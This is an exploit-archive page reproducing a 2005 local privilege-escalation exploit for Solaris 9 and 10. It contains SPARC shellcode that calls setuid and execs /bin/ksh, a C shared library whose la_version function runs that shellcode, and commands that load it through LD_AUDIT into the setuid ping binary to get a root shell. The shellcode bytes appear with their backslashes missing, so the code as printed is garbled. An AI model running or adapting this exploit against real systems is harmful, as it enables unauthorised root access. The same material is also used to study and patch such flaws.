Solaris 9 / 10 ld.so Local Root Exploit (2)

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : Solaris 9 / 10 ld.so Local Root Exploit (2)
# Published : 2005-06-28
# Author : Przemyslaw Frasunek
# Previous Title : Sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit (openbsd)
# Next Title : Mac OS X 10.4 launchd Race Condition Exploit

/* 
Solaris 9 on SPARC: 

$ cat dupa.c
*/

char sh[] =
/* setuid() */
"x90x08x3fxffx82x10x20x17x91xd0x20x08"
/* execve() */
"x20xbfxffxffx20xbfxffxffx7fxffxffxffx90x03xe0x20"
"x92x02x20x10xc0x22x20x08xd0x22x20x10xc0x22x20x14"
"x82x10x20x0bx91xd0x20x08/bin/ksh";

int la_version() {
       void (*f)();
       f = (void*)sh;
       f();
       return 3;
}

/*
$ gcc -fPIC -shared -o /tmp/dupa.so dupa.c
$ export LD_AUDIT=/tmp/dupa.so
$ ping
# id
uid=0(root) gid=100(student)
*/

// www.Syue.com [2005-06-28]